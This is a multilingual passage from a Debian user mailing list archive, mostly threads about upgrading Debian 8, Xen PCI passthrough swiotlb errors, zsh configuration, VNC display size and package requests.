> > > No arquivo sources.list, substitua todas as ocorrências de "jessie" por 
> > > "buster". Certifique-se de salvar as alterações após a edição.
> > > Execute o seguinte comando para atualizar a lista de pacotes:
> > >
> > >
> > > apt-get update
> > >
> > > Em seguida, atualize o sistema executando o comando de atualização:
> > >
> > > apt-get upgrade
> > >
> > > Por fim, execute o comando de dist-upgrade para realizar a atualização 
> > > para o Debian 11 Buster:
> > >
> > > apt-get dist-upgrade
> > > Durante esse processo, você pode ser solicitado a confirmar algumas 
> > > alterações. Leia cuidadosamente as mensagens exibidas e responda 
> > > adequadamente.
> > > Após a conclusão do processo de atualização, reinicie o sistema:
> > >
> > >
> > > reboot
> > >
> > > Por fim verifique a documentacao oficial para obter informacoes adicionais
> > >
> > >
> > > On 28/06/2023 12:38, Marcelo wrote:
> > > > Boa Tarde,
> > > >
> > > > Existe alguma maneira de atualizar um Debian 8.11 atualmente? Para o 9 
> > > > e 10 consequentemente.
> > > >
> > > > Algum source.lists específico?
> > > >
> > > > Agradeço qualquer ajuda...
> > > >
> > > >
> > > > Att,
> > > > Marcelo
> > > >
> > >
> > >
> >
> >
>
>



Issue with Xen PCI passthrough ("swiotlb buffer is full") after Debian Dom0 kernel update to 5.10.178-3 and later

2023-06-28 Thread Paul Leiber

Hi list,

Since an update of package linux-image-amd64 to version 5.10.0-22 
(kernel 5.10.178-3) and later, I am experiencing an issue with PCI 
passthrough. A WiFi card is still visible in DomU, but it is not working 
anymore with the previous settings. I would expect the card to continue 
working without any changes.


Does anybody experience similar behavior? Any hints on how to 
troubleshoot? Should I file a bug report? For which package?


I have already sent a previous version of this description to xen-users, 
but I wasn't able to find a solution yet. Please be aware that my 
knowledge about IOMMU/swiotlb is very limited.


I am happy to provide more information if required.

Thanks,

Paul


Description:


Initially, I was running Xen with a Debian Bullseye Dom0 (standard 
packages, Xen 4.14) on an APU 4D4 system 
(https://pcengines.ch/apu4d4.htm). CPU is AMD Embedded G series 
GX-412TC, IOMMU is enabled in BIOS. A mPCIe WiFi card Compex WLE900VX is 
passed through to an OpenWRT DomU in PV mode. So far, the system has 
been running quite well (aside from some hickups in the early setup 
process, with incidentally a very similar behavior which I solved by 
increasing Dom0 memory).


In the meantime, I have upgraded Dom0 to Debian Bookworm with 
linux-image-amd64 6.1.27-1 and Xen 4.17. The issue persists, seemingly 
unchanged.


In DomU dmesg, there are several "swiotlb buffer is full" entries while 
failing to load the driver during the boot process:


[7.979357] ath10k_pci :00:00.0: Xen PCI mapped GSI40 to IRQ17
[7.982856] ath10k_pci :00:00.0: pci irq msi oper_irq_mode 2 
irq_mode 0 reset_mode 0
[8.258462] ath10k_pci :00:00.0: qca988x hw2.0 target 0x4100016c 
chip_id 0x043202ff sub :
[8.259117] ath10k_pci :00:00.0: kconfig debug 0 debugfs 1 
tracing 0 dfs 1 testmode 0
[8.261937] ath10k_pci :00:00.0: firmware ver 10.2.4.70.70 api 5 
features no-p2p,raw-mode,mfp,allows-mesh-bcast crc32 3a226daa
[8.349462] ath10k_pci :00:00.0: board_file api 1 bmi_id N/A 
crc32 bebc7c08
[9.533804] ath10k_pci :00:00.0: swiotlb buffer is full (sz: 2112 
bytes), total 2048 (slots), used 2036 (slots)
[9.534677] ath10k_pci :00:00.0: swiotlb buffer is full (sz: 2112 
bytes), total 2048 (slots), used 2036 (slots)
[9.535954] ath10k_pci :00:00.0: swiotlb buffer is full (sz: 2112 
bytes), total 2048 (slots), used 2036 (slots)
[9.537023] ath10k_pci :00:00.0: swiotlb buffer is full (sz: 2112 
bytes), total 2048 (slots), used 2036 (slots)
[9.546441] ath10k_pci :00:00.0: swiotlb buffer is full (sz: 2112 
bytes), total 2048 (slots), used 2036 (slots)
[9.556979] ath10k_pci :00:00.0: swiotlb buffer is full (sz: 2112 
bytes), total 2048 (slots), used 2036 (slots)
[9.557754] ath10k_pci :00:00.0: swiotlb buffer is full (sz: 2112 
bytes), total 2048 (slots), used 2036 (slots)
[9.558593] ath10k_pci :00:00.0: swiotlb buffer is full (sz: 2112 
bytes), total 2048 (slots), used 2038 (slots)
[9.559396] ath10k_pci :00:00.0: swiotlb buffer is full (sz: 2112 
bytes), total 2048 (slots), used 2038 (slots)
[9.560553] ath10k_pci :00:00.0: swiotlb buffer is full (sz: 2112 
bytes), total 2048 (slots), used 2040 (slots)

[9.563413] ath10k_pci :00:00.0: failed to refill htt rx ring: -12
[9.677728] ath10k_pci :00:00.0: could not init core (-12)
[9.678924] ath10k_pci :00:00.0: could not probe fw (-12)
[9.686262] kmodloader: done loading kernel modules from /etc/modul


The Debian Dom0 has 1 GB memory. I understand that 1 GB of memory for 
Dom0 is not very much, but it was working well until the kernel update. 
top in Dom0 shows that there is still free memory in Dom0 (although not 
much).



What I tried:
-

1. Increasing the DomU memory to 384 MB didn't solve the issue.

2. Booting DomU with kernel option swiotlb=8192 and switolb=65536 leads 
to a crash/reboot of the complete (!) system when the Openwrt boot 
process reaches loading the kernel module for the WiFi card (dmesg from 
DomU):


[7.780624] ath10k_pci :00:00.0: Xen PCI mapped GSI40 to IRQ17
[7.785727] ath10k_pci :00:00.0: pci irq msi oper_irq_mode 2 
irq_mode 0 reset_mode 0

[7.903071] ath10k_pci :00:00.0: failed to poke copy engine: -16
[8.023071] ath10k_pci :00:00.0: failed to poke copy engine: -16
[8.142934] ath10k_pci :00:00.0: failed to poke copy engine: -16
[   11.798704] ath10k_pci :00:00.0: failed to read device register, 
device is gone
[   11.799297] ath10k_pci :00:00.0: failed to wait for target after 
cold reset: -5

[   11.800178] ath10k_pci :00:00.0: failed to reset chip: -5

3. Booting DomU with kernel option swiotlb=16394 leads to error messages 
and a not working WiFi card (dmesg from DomU):


[8.908062] ath10k_pci :00:00.0: Xen PCI mapped GSI40 to IRQ17
[8.912608] ath10k_pci :00:00.0: pci irq msi oper_irq_mode 2 
irq_mode 0 

evince: Unable to print PDF file with hp printer. But it can be printed with other applications.

2023-06-28 Thread Serkan KURT
Hello.
With Debian 12 Gnome, I can't print PDF from evince. I opened a bug report. But 
I couldn't find a solution. Any suggestions for a solution?
When I tried to print a PDF document, I got the message "Print job canceled at
printer".

I was able to print the same document to file with a PDF printer.

I was able to print the original document with "Okular" and "LibreOffice Draw"
with physical printer.

I created a very simple document with "LibreOffice Writer" and saved it as a
PDF. I could not print this document either.

I can print "Printer test page" with HP printer.
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1030626


Re: Hddtemp in Bookworm

2023-06-28 Thread Jörg-Volker Peetz
The linux kernel has a module for reading the drive temperature called 
drivetemp. Therefore, using the package lm-sensors should also show the drive 
temperature.


Regards,
Jörg.





Re: FOSS tool to do general stats from text indata

2023-06-28 Thread Nicholas Geovanis
On Sat, Jun 24, 2023, 3:04 PM Emanuel Berg  wrote:

> Cousin Stanley wrote:
>
> > If you have python programming skills, you might consider
> > NLTK
>
> Unbelievable if there are no such tools anywhere already, but
> I don't have one either so maybe there aren't then?
>

There's a big subject called computational linguistics. They have some
specialized tools for what they call corpus analysis. Because you mentioned
statistics you threw everyone off :-)
And I really like R.

-- 
> underground experts united
> https://dataswamp.org/~incal
>
>


(deb-cat) Control remot amb VNC: Alçada de la imatge

2023-06-28 Thread Narcis Garcia

Bona tarda,

Des de fa temps que utilitzo el protocol VNC per a accedir* remotament a 
escriptoris, i quasi sempre veig l'anomalia de què les dimensions de 
l'àrea d'imatge no estan bé:


Si el servidor té una imatge de 1024x768 a mi se m'obre una parcela de 
(m'invento) 1000x1000 dins la finestra, de manera que a sota queda un 
marge de color negre o que sembla un mirall de la part superior.
No només és molest visualment, sinó que he descobert que això també 
ocupa ample de banda.


I avui se m'ha fet impossible amb una parcela de 1360x25000 o semblant, 
perquè el refresc es fa impossible i es talla la connexió.
He provat amb el paràmetre -geometry tant a servidor (x11vnc) com a 
client (xtightvncviewer), sense cap efecte.


Algú sap com es gestiona aquesta anomalia?

Gràcies.


(*)
servidor$ x11vnc -connect HostVisitant
client$ xtightvncviewer -listen

--

Narcis Garcia

__
I'm using this dedicated address because personal addresses aren't 
masked enough at this mail public archive. Public archive administrator 
should fix this against automated addresses collectors.




Re: Pas d'historique de zsh en root

2023-06-28 Thread Marc Chantreux
salut,

> En fait pas tant que ça, car il y a déjà pas mal de chose dans le zsh 
> "standard", cf par ex
> https://dev.to/rossijonas/how-to-set-up-history-based-autocompletion-in-zsh-k7o

alors … pour le coup je n'utilise pas la completion pour ça: j'ai un
système de menus qui gère mes taches courantes dont l'accès à mes MRU
(readings, edited, here (répertoire), …).

mais je vais jeter un coup d'oeil.

en fait la vraie perte de temps dans ta vie c'est JS et la stack web de
manière générale :)

> Je réalise que ça n'existe pas car c'est déjà dans les modules qui viennent 
> avec zsh (par ex la
> fct _git qui est déjà une fonction du shell qu'on peut utiliser pour 
> l'autocomplétion)

certes mais il exsite d'autres complétions ici et là. certains workers
ne sont pas super emballés par le fait d'intégrer de nouvelles
completions écrites par un utilisateur puis plus maintenue. Idéalement,
pensent certains, il faudrait faire adopter les complétions par les
projets upstream et donc les complétions viendraient dans le répertoire
vendor.

a+
marc







Re: Pas d'historique de zsh en root

2023-06-28 Thread Marc Chantreux
salut Daniel,

Pour être honnête: je n'ai pas vu ohmyzsh depuis au moins 10 ans. Il y a
fort à parier que ça a évolué.

> > * pour les personnes débutantes et/ou peu envieuses de passer du
> >   temps dans le shell, le script qui s'execute lors de ta première
> >   session te permet de tunner plein de choses

> C'est vrai, mais on reste très loin des fonctions de complétions que
> peut apporter omz, si on veut la même chose en le faisant soi-même
> faut pas mal d'huile de coude.

alors c'est triste: pourquoi les mainteneurs de omz ne proposent pas des
ajouts/corrections à la completion officielle? si elle est bien, on y
gagnerais tous.

bon j'avoue que je suis plutôt vim+gitgutter+fugitive quand il s'agit
d'utiliser git mais pe que pour d'autres outils, ce serait possible.

> C'est vrai aussi, mais les journées ne font que 24h, et le shell reste
> une brique de base qui ne devrait pas nous prendre trop d'heures par
> semaine.

c'est précisément par manque de temps que je me force à ne pas rentrer
dans une longue explication dont la conclusion serait: le temps que j'ai
passé à apprendre zsh et vim m'a été remboursé au centuple au moins par
la liberté et la productivité que ca me génère.

surtout quand j'explore qqchose dont tout le monde se fout (par exemple
des plugins qui sont particulièrement utiles pour la démonstration et
l'enseignement mais que tu peux virer après).

souviens par exemple que quand j'ai commencé à faire du roff, je m'étais
fais qqs lignes de viml pour pointer facilement vers de la doc, faire de
la completion de base, …

c'était très brut de fonderie et absolument impubliable mais ca m'a fait
gagner un temps fou.

> rajoute une louche, même si c'est pas la faute de zsh si l'écosystème js 
> manque de maturité ;-)

ah oui: je n'ai clairement pas ce genre de besoins :)

> Je suis resté adminsys sous bash pendant des années avant de passer à
> zsh, puis découvert oh my zsh une fois devenu développeur à plein
> temps, et j'avoue qu'un shell qui fait le café c'est dangereux mais
> très confortable :-)

je suis d'accord avec toi: si on se fait une visio un de ces 4, je peux
te montrer à quoi ressemble mon zsh: c'est assez loin de l'approche de
omz mais je suis bien content de ce que j'ai produit.

> (dans le genre y'a aussi fish, pas vraiment testé car pas vu l'utilité
> pour mes besoins, mais la digression peut partir loin :-P)

fish fait partie de ces shells dont je ne comprend pas l'intéret.
certes, tous les shells historiques ont des pbs mais je ne vois pas
en fish une correction de ces pbs.

> Sur le fond tu as probablement raison, un jour si j'ai le courage j'essaierai 
> de me faire un
> dépôt git perso pour mes alias zsh et leur complétion,

je tenterais de publier ma conf zsh dans les prochains jours comme base
de discussion. de là on pourrait se faire une visio: ca fait longtemps
qu'on l'envisage chez les libristes alsaciens.

> avec des subrepo vers les plugins omz
> qui m'intéressent pour pouvoir faire du merge interactif à la demande (voir 
> les évolutions
> upstream qu'on intègre ou pas, mais seulement sur ces plugins sans devoir 
> parcourir toutes les
> évolutions d'omz qu'on utilisera jamais).

c'est le genre de choses que je fais avec vim donc je serais bien
curieux de voir comment ça se passe coté zsh.

> Dans mon cas, l'idéal serait probablement des paquets debian 
> zsh_completion_xxx (où xxx
> pourrait ± correspondre aux plugins omz),

ahhh … y'a une idée là !!!

bon. on se retrouve sur shell-fr pour reparler des détails au fil de
l'eau ;)

bien à toi
marc



Re: Atualizar Debian 8.11

2023-06-28 Thread Marcelo
Muito Obrigado pessoal pela resposta,

Alterei meu sources.list Debian 8 para:

deb http://archive.debian.org/debian/ jessie main contrib non-free
deb http://archive.debian.org/debian-security jessie/updates main contrib
non-free

e quando rodo o apt-get update, me retorna:

W: GPG error: http://archive.debian.org jessie Release: The following
signatures were invalid: KEYEXPIRED 1587841717

Olhando rapidamente na internet:

If you want all packages from Debian 8
Here’s what you should put in /etc/apt/sources.list.d/extended-lts.list:

deb http://deb.freexian.com/extended-lts jessie main contrib non-free

É seguro usar este caminho? ou existe outra forma?


Att,
Marcelo



Em qua., 28 de jun. de 2023 às 13:23, Gabriel Ricardo 
escreveu:

> Estou com o Debian desdo 10 e uso a opção 2 do Yuri.
>
> Faço upgrade para 10, depois 11, depois 12.
>
> Foi "suave" devido ao driver nvidia, mas foi resolvido recompilando ele.
>
> Att,
> Gabriel.
>
> Em qua., 28 de jun. de 2023 às 13:21, luigui 
> escreveu:
>
>> Boa tarde Marcelo
>>
>> Imagino que deseje ir ate o Buster (Debian 11)
>>
>> Pode seguir assim:
>>
>>
>>-
>>
>>Faça login em sua máquina Debian 8.11 como root ou um usuário com 
>> privilégios de superusuário.
>>
>>
>>-
>>
>>Atualize todos os pacotes instalados em seu sistema executando o seguinte 
>> comando:
>>
>> apt-get update
>> apt-get upgrade
>> apt-get dist-upgrade
>>
>>
>>-
>>
>>Isso garantirá que todos os pacotes da versão 8.11 estejam atualizados.
>>-
>>
>>Verifique se você tem o utilitário apt instalado executando o seguinte 
>> comando:
>>-
>>
>> apt-get install apt
>>
>> Abra o arquivo /etc/apt/sources.list em um editor de texto, como o nano:
>>
>> nano /etc/apt/sources.list
>>
>>-
>>
>>No arquivo sources.list, substitua todas as ocorrências de "jessie" por 
>> "buster". Certifique-se de salvar as alterações após a edição.
>>-
>>
>>Execute o seguinte comando para atualizar a lista de pacotes:
>>
>> apt-get update
>> Em seguida, atualize o sistema executando o comando de atualização:
>>
>> apt-get upgrade
>>
>> Por fim, execute o comando de dist-upgrade para realizar a atualização para 
>> o Debian 11 Buster:
>> apt-get dist-upgrade
>>
>>-
>>
>>Durante esse processo, você pode ser solicitado a confirmar algumas 
>> alterações. Leia cuidadosamente as mensagens exibidas e responda 
>> adequadamente.
>>-
>>
>>Após a conclusão do processo de atualização, reinicie o sistema:
>>
>> reboot
>>
>> Por fim verifique a documentacao oficial para obter informacoes adicionais
>>
>>
>> On 28/06/2023 12:38, Marcelo wrote:
>>
>> Boa Tarde,
>>
>> Existe alguma maneira de atualizar um Debian 8.11 atualmente? Para o 9 e
>> 10 consequentemente.
>>
>> Algum source.lists específico?
>>
>> Agradeço qualquer ajuda...
>>
>>
>> Att,
>> Marcelo
>>
>>


Re: FOSS tool to do general stats from text indata

2023-06-28 Thread Emanuel Berg
dvalin wrote:

> As "stats" is a grab bag larger inside than the Tardis,
> I suspect that only on that other ship with the infinite
> improbability drive is a stats babelfish interpreter to be
> found. For the last 30+ years, I've just thrown together
> a few lines of Awk to generate the initially required stats,
> then tweaked the C-like code and regexes to add the
> inevitable nice-to-haves. Some result is immediate, and
> dissatisfaction with completeness motivates
> thetweaking/temporary_satisfaction cycle. Options are
> limitless, as is needed for an undefined task [...]

Haha, show us some stats then!

*handclaps in anticipation*

-- 
underground experts united
https://dataswamp.org/~incal



Re: RFP: deadEarth RPG documentation - free and open RPG game

2023-06-28 Thread Emanuel Berg
Joshua Allen wrote:

> deadEarth is a free and open TTRPG game for use in real
> life or online

Never heard of but sounds interesting, as technology, and
maybe even as a game.

Is it TT as in

  https://en.wikipedia.org/wiki/Tabletop_Simulator

?

-- 
underground experts united
https://dataswamp.org/~incal



Re: Atualizar Debian 8.11

2023-06-28 Thread Gabriel Ricardo
Estou com o Debian desdo 10 e uso a opção 2 do Yuri.

Faço upgrade para 10, depois 11, depois 12.

Foi "suave" devido ao driver nvidia, mas foi resolvido recompilando ele.

Att,
Gabriel.

Em qua., 28 de jun. de 2023 às 13:21, luigui  escreveu:

> Boa tarde Marcelo
>
> Imagino que deseje ir ate o Buster (Debian 11)
>
> Pode seguir assim:
>
>
>-
>
>Faça login em sua máquina Debian 8.11 como root ou um usuário com 
> privilégios de superusuário.
>
>
>-
>
>Atualize todos os pacotes instalados em seu sistema executando o seguinte 
> comando:
>
> apt-get update
> apt-get upgrade
> apt-get dist-upgrade
>
>
>-
>
>Isso garantirá que todos os pacotes da versão 8.11 estejam atualizados.
>-
>
>Verifique se você tem o utilitário apt instalado executando o seguinte 
> comando:
>-
>
> apt-get install apt
>
> Abra o arquivo /etc/apt/sources.list em um editor de texto, como o nano:
>
> nano /etc/apt/sources.list
>
>-
>
>No arquivo sources.list, substitua todas as ocorrências de "jessie" por 
> "buster". Certifique-se de salvar as alterações após a edição.
>-
>
>Execute o seguinte comando para atualizar a lista de pacotes:
>
> apt-get update
> Em seguida, atualize o sistema executando o comando de atualização:
>
> apt-get upgrade
>
> Por fim, execute o comando de dist-upgrade para realizar a atualização para o 
> Debian 11 Buster:
> apt-get dist-upgrade
>
>-
>
>Durante esse processo, você pode ser solicitado a confirmar algumas 
> alterações. Leia cuidadosamente as mensagens exibidas e responda 
> adequadamente.
>-
>
>Após a conclusão do processo de atualização, reinicie o sistema:
>
> reboot
>
> Por fim verifique a documentacao oficial para obter informacoes adicionais
>
>
> On 28/06/2023 12:38, Marcelo wrote:
>
> Boa Tarde,
>
> Existe alguma maneira de atualizar um Debian 8.11 atualmente? Para o 9 e
> 10 consequentemente.
>
> Algum source.lists específico?
>
> Agradeço qualquer ajuda...
>
>
> Att,
> Marcelo
>
>


Re: Atualizar Debian 8.11

2023-06-28 Thread luigui

Boa tarde Marcelo

Imagino que deseje ir ate o Buster (Debian 11)

Pode seguir assim:

|||

Faça login em sua máquina Debian 8.11 como root ou um usuário com 
privilégios de superusuário.


|
# |

Atualize todos os pacotes instalados em seu sistema executando o 
seguinte comando:


apt-get update apt-get upgrade apt-get dist-upgrade 

Isso garantirá que todos os pacotes da versão 8.11 estejam atualizados.

#

Verifique se você tem o utilitário |apt| instalado executando o seguinte 
comando:


# |
apt-get install apt||

Abra o arquivo|/etc/apt/sources.list|  em um editor de texto, como o nano:

nano /etc/apt/sources.list
#

No arquivo |sources.list|, substitua todas as ocorrências de "jessie" 
por "buster". Certifique-se de salvar as alterações após a edição.


#

Execute o seguinte comando para atualizar a lista de pacotes:

|apt-get update |Em seguida, atualize o sistema executando o comando de 
atualização:||

|apt-get upgrade|

Por fim, execute o comando de dist-upgrade para realizar a atualização para o 
Debian 11 Buster:

|apt-get dist-upgrade ||

Durante esse processo, você pode ser solicitado a confirmar algumas 
alterações. Leia cuidadosamente as mensagens exibidas e responda 
adequadamente.


#

Após a conclusão do processo de atualização, reinicie o sistema:

|
reboot

Por fim verifique a documentacao oficial para obter informacoes adicionais


On 28/06/2023 12:38, Marcelo wrote:


Boa Tarde,

Existe alguma maneira de atualizar um Debian 8.11 atualmente? Para o 9 
e 10 consequentemente.


Algum source.lists específico?

Agradeço qualquer ajuda...


Att,
Marcelonull

Re: Atualizar Debian 8.11

2023-06-28 Thread Yuri Musachio
Marcelo, boa tarde!

Considero que existem duas formas de se fazer essa atualização que você quer...
1 - Modificar o sources.list com o nome da versão que quer, colocando: o 
codinome, ou stable, ou testing, ou unstable. Após isso dar um apt update, apt 
upgrade, e no que restar um apt full-upgrade.
2 - Eu, Yuri, prefiro fazer a atualização pulando de uma em uma versão. 
Exemplo: Se você está na 8, então vá para a 9, e após estar tudo atualizado, ai 
sim ir pra 10 e por ai vai.

Coisas que acho interessante se atentar é na diferença entre "apt upgrade" e 
"apt full-upgrade", e nos endereços corretos a serem colocados no seu 
sources.list . Algumas versões (é o caso da 8 e 9) podem estar no "archive", 
então o endereço do teu sources.list vai ficar diferente por conta disso.
Espero que isso te ajude! ;)

Best,
On Jun 28 2023, at 12:38 pm, Marcelo  wrote:
> Boa Tarde,
>
> Existe alguma maneira de atualizar um Debian 8.11 atualmente? Para o 9 e 10 
> consequentemente.
>
> Algum source.lists específico?
>
> Agradeço qualquer ajuda...
>
>
> Att,
> Marcelo
>



Re: php 7.4 and bookworm

2023-06-28 Thread John Covici
Thanks everyone.  I will do the upgrade and see if it retains php 7.4.

On Wed, 28 Jun 2023 07:01:51 -0400,
Greg Wooledge wrote:
> 
> On Wed, Jun 28, 2023 at 04:46:24AM -0400, John Covici wrote:
> > Hi.  So, I want to upgrade to bookworm, but I have an application
> > which needs php 7.4 and I guess they are not yet ready to fix.  So,
> > how can I keep that version, even if its just for that app?
> 
> In previous releases, whenever I've upgraded a machine that runs PHP,
> the upgraded system has automatically continued using the old PHP
> version.  Getting it to use the *new* version is what requires actual
> steps to be taken.
> 
> I can't promise it's the same for bookworm (I haven't done that upgrade
> on a PHP system yet), but it has been true in the past.
> 

-- 
Your life is like a penny.  You're going to lose it.  The question is:
How do
you spend it?

 John Covici wb2una
 cov...@ccs.covici.com



Atualizar Debian 8.11

2023-06-28 Thread Marcelo
Boa Tarde,

Existe alguma maneira de atualizar um Debian 8.11 atualmente? Para o 9 e 10
consequentemente.

Algum source.lists específico?

Agradeço qualquer ajuda...


Att,
Marcelo


Re: RFP: deadEarth RPG documentation - free and open RPG game

2023-06-28 Thread Patrick Wiseman
Not the list to make such requests

On Wed, Jun 28, 2023, 11:30 AM Joshua Allen  wrote:

> Package: wnpp
> Severity: wishlist
>
> * Package name: deadearth
>   Version : second edition
>   Upstream Contact: i...@thegamecrafter.com
> * URL : 
> https://web.archive.org/web/20021211104811/http://www.deadearth.com/index.pl/legal
> * License : License GNU Free Documentation License v1.1 or any later 
> version, no invariant sections or front and back text
>   Programming Lang: unknown
>   Description : tabletop rpg game
>
>
>  - deadEarth is a free and open TTRPG game for use in real life or online
>
> - I am aware of other TTRPGs but this looks to be the oldest one I could find 
> and it was released in 2002, since the developer no longer maintains the 
> site, I looked it up on the internet archive.
>
> - Debian doesnt have to be used but, it does qualify for inclusion in the 
> free documentation repositories.
>
>  - how do you plan to maintain it?
> I am just an end user and I am not able to maintain it per say, maybe clean 
> it up since the wording is difficult to see on the url listed above
>
> You would have to probably contact TGC LLC for official clarification, I did 
> months ago but Wikimedia commons needs confirmation from the source.
>
> Still it looks interesting, it probably already is in the repository.
>
>


RFP: deadEarth RPG documentation - free and open RPG game

2023-06-28 Thread Joshua Allen

Package: wnpp
Severity: wishlist

* Package name: deadearth
  Version : second edition
  Upstream Contact:i...@thegamecrafter.com
* URL 
:https://web.archive.org/web/20021211104811/http://www.deadearth.com/index.pl/legal
* License : License GNU Free Documentation License v1.1 or any later 
version, no invariant sections or front and back text
  Programming Lang: unknown
  Description : tabletop rpg game


 - deadEarth is a free and open TTRPG game for use in real life or online

- I am aware of other TTRPGs but this looks to be the oldest one I could find 
and it was released in 2002, since the developer no longer maintains the site, 
I looked it up on the internet archive.

- Debian doesnt have to be used but, it does qualify for inclusion in the free 
documentation repositories.

 - how do you plan to maintain it?
I am just an end user and I am not able to maintain it per say, maybe clean it 
up since the wording is difficult to see on the url listed above

You would have to probably contact TGC LLC for official clarification, I did 
months ago but Wikimedia commons needs confirmation from the source.

Still it looks interesting, it probably already is in the repository.


Re: RFP: onlyoffice -- both online and offline desktop editors

2023-06-28 Thread Stefan Monnier
Did you mean to send this to debbugs?


Stefan


Joshua Allen [2023-06-28 09:12:18] wrote:

> Package: wnpp
> Severity: wishlist
>
> * Package name: onlyoffice
>   Version : 7.4.0
>   Upstream Contact: onlyoffice.com
> * URL :https://github.com/ONLYOFFICE/DesktopEditors
> * License : License GNU Affero General Public License v3.0
>   Programming Lang: unknown
>   Description : desktop office suite
>
>
>  - onlyoffice is a great office suite that rivals other office suite because 
> you can run an online document server locally and also the desktop editors 
> offline
>
> - I am aware of libreoffice but having an alternative is good
>
> - On debian 12 the latest stable release (1.1.9) does not work and nightly
> 1.2.0 must be used
>
>  - how do you plan to maintain it?
> I am just an end user and I am not able to maintain a package, sorry



Re: RFP: onlyoffice -- both online and offline desktop editors

2023-06-28 Thread Dan Ritter
Joshua Allen wrote: 
> Package: wnpp
> Severity: wishlist
> 
> * Package name: onlyoffice
>   Version : 7.4.0
>   Upstream Contact: onlyoffice.com
> * URL :https://github.com/ONLYOFFICE/DesktopEditors
> * License : License GNU Affero General Public License v3.0
>   Programming Lang: unknown
>   Description : desktop office suite
> 
> 
>  - onlyoffice is a great office suite that rivals other office suite because 
> you can run an online document server locally and also the desktop editors 
> offline
> 
> - I am aware of libreoffice but having an alternative is good
> 
> - On debian 12 the latest stable release (1.1.9) does not work and nightly
> 1.2.0 must be used
> 
>  - how do you plan to maintain it?
> I am just an end user and I am not able to maintain a package, sorry

It's simultaneously good and bad that the virtual machine images
that OnlyOffice prepares are Debian-based.

Unfortunately, last time I checked, they were FrankenDebians,
not upgradable in place, and based on Stretch.

-dsr-



Re: Pas d'historique de zsh en root

2023-06-28 Thread Daniel Caillibaud
Le 28/06/23 à 15:18, Daniel Caillibaud  a écrit :
> > * pour les personnes débutantes et/ou peu envieuses de passer du
> >   temps dans le shell, le script qui s'execute lors de ta première
> >   session te permet de tunner plein de choses  
> 
> C'est vrai, mais on reste très loin des fonctions de complétions que peut 
> apporter omz, si on
> veut la même chose en le faisant soi-même faut pas mal d'huile de coude.

En fait pas tant que ça, car il y a déjà pas mal de chose dans le zsh 
"standard", cf par ex
https://dev.to/rossijonas/how-to-set-up-history-based-autocompletion-in-zsh-k7o

> Dans mon cas, l'idéal serait probablement des paquets debian 
> zsh_completion_xxx (où xxx
> pourrait ± correspondre aux plugins omz), à l'image de bash_completion

Je réalise que ça n'existe pas car c'est déjà dans les modules qui viennent 
avec zsh (par ex la
fct _git qui est déjà une fonction du shell qu'on peut utiliser pour 
l'autocomplétion)

-- 
Daniel

Il y a quelqu'un sans qui tout ce que j'ai fait
jusqu'à présent n'aurait pas été possible: MOI.
Philippe Geluck, Le chat



RFP: onlyoffice -- both online and offline desktop editors

2023-06-28 Thread Joshua Allen

Package: wnpp
Severity: wishlist

* Package name: onlyoffice
  Version : 7.4.0
  Upstream Contact: onlyoffice.com
* URL :https://github.com/ONLYOFFICE/DesktopEditors
* License : License GNU Affero General Public License v3.0
  Programming Lang: unknown
  Description : desktop office suite


 - onlyoffice is a great office suite that rivals other office suite because 
you can run an online document server locally and also the desktop editors 
offline

- I am aware of libreoffice but having an alternative is good

- On debian 12 the latest stable release (1.1.9) does not work and nightly
1.2.0 must be used

 - how do you plan to maintain it?
I am just an end user and I am not able to maintain a package, sorry


Re: Pas d'historique de zsh en root

2023-06-28 Thread Daniel Caillibaud
Le 28/06/23 à 13:16, Marc Chantreux  a écrit :
> il y a aussi que je n'avais pas été séduit du tout par la base de code
> qui aurait gagné à être plus défensive.

Je ne suis pas suffisamment rentré dans les détails et je te fais confiance, 
c'est d'ailleurs
pour ça que par principe c'est à prescrire pour root, mais pour un user lambda 
le risque
d'avoir une base de code externe qui s'exécute à chaque shell vs le confort 
apporté peut se
discuter.

> bref: je déconseille vraiment ohmyzsh à toute personne qui souhaite
> apprendre zsh.
> 
>   * pour les personnes débutantes et/ou peu envieuses de passer du
> temps dans le shell, le script qui s'execute lors de ta première
> session te permet de tunner plein de choses

C'est vrai, mais on reste très loin des fonctions de complétions que peut 
apporter omz, si on
veut la même chose en le faisant soi-même faut pas mal d'huile de coude.

>   * pour les autres, partir de son besoin et apprendre à faire
> soi-même (en interagissant avec la communauté) est une approche
> bien plus émancipante et riche socialement que d'installer une
> reflexion prete à l'emploi dans son shell, aussi aboutie
> soit-elle. ohmyzsh doit donc rester au mieux une source
> d'inspiration sur les aspects fonctionnels.

C'est vrai aussi, mais les journées ne font que 24h, et le shell reste une 
brique de base qui
ne devrait pas nous prendre trop d'heures par semaine. Je fais surtout du dev 
js maintenant, et
le ratio entre le développement proprement dit et le réglage des outils pour 
bosser à chaque
montée de version d'une dépendance est pas terrible, devoir le faire pour le 
shell aussi en
rajoute une louche, même si c'est pas la faute de zsh si l'écosystème js manque 
de maturité ;-)

Je suis resté adminsys sous bash pendant des années avant de passer à zsh, puis 
découvert oh my
zsh une fois devenu développeur à plein temps, et j'avoue qu'un shell qui fait 
le café c'est
dangereux mais très confortable :-)

(dans le genre y'a aussi fish, pas vraiment testé car pas vu l'utilité pour mes 
besoins, mais la
digression peut partir loin :-P)

Sur le fond tu as probablement raison, un jour si j'ai le courage j'essaierai 
de me faire un
dépôt git perso pour mes alias zsh et leur complétion, avec des subrepo vers 
les plugins omz
qui m'intéressent pour pouvoir faire du merge interactif à la demande (voir les 
évolutions
upstream qu'on intègre ou pas, mais seulement sur ces plugins sans devoir 
parcourir toutes les
évolutions d'omz qu'on utilisera jamais).

J'apprendrai sûrement plein de trucs sur zsh, mais c'est pas vraiment pour ça 
que mon patron me
paie ;-)

Dans mon cas, l'idéal serait probablement des paquets debian zsh_completion_xxx 
(où xxx
pourrait ± correspondre aux plugins omz), à l'image de bash_completion et plus 
sécure qu'un
dépôt git externe mise à jour très souvent de manière ± automatique, mais j'ai 
pas les
compétences pour maintenir ça.

-- 
Daniel

On réalise qu'une femme est de la dynamite quand on la laisse tomber.
Marcel Pagnol.



Re: iptables vs iptables-legacy

2023-06-28 Thread didier gaumet

Le 28/06/2023 à 13:05, Michel Verdier a écrit :

Le 28 juin 2023 didier gaumet a écrit :

[...]

  mais de ce que j'avais cru comprendre, il y a des frontends (tables xtables
ou tables nft) à des backends (netfilter ou nft).
  Le backend nft serait une version révisée du backend netfilter, par la même
  équipe, en s'appuyant sur certaines parties de l'ancien backend netfilter. Si
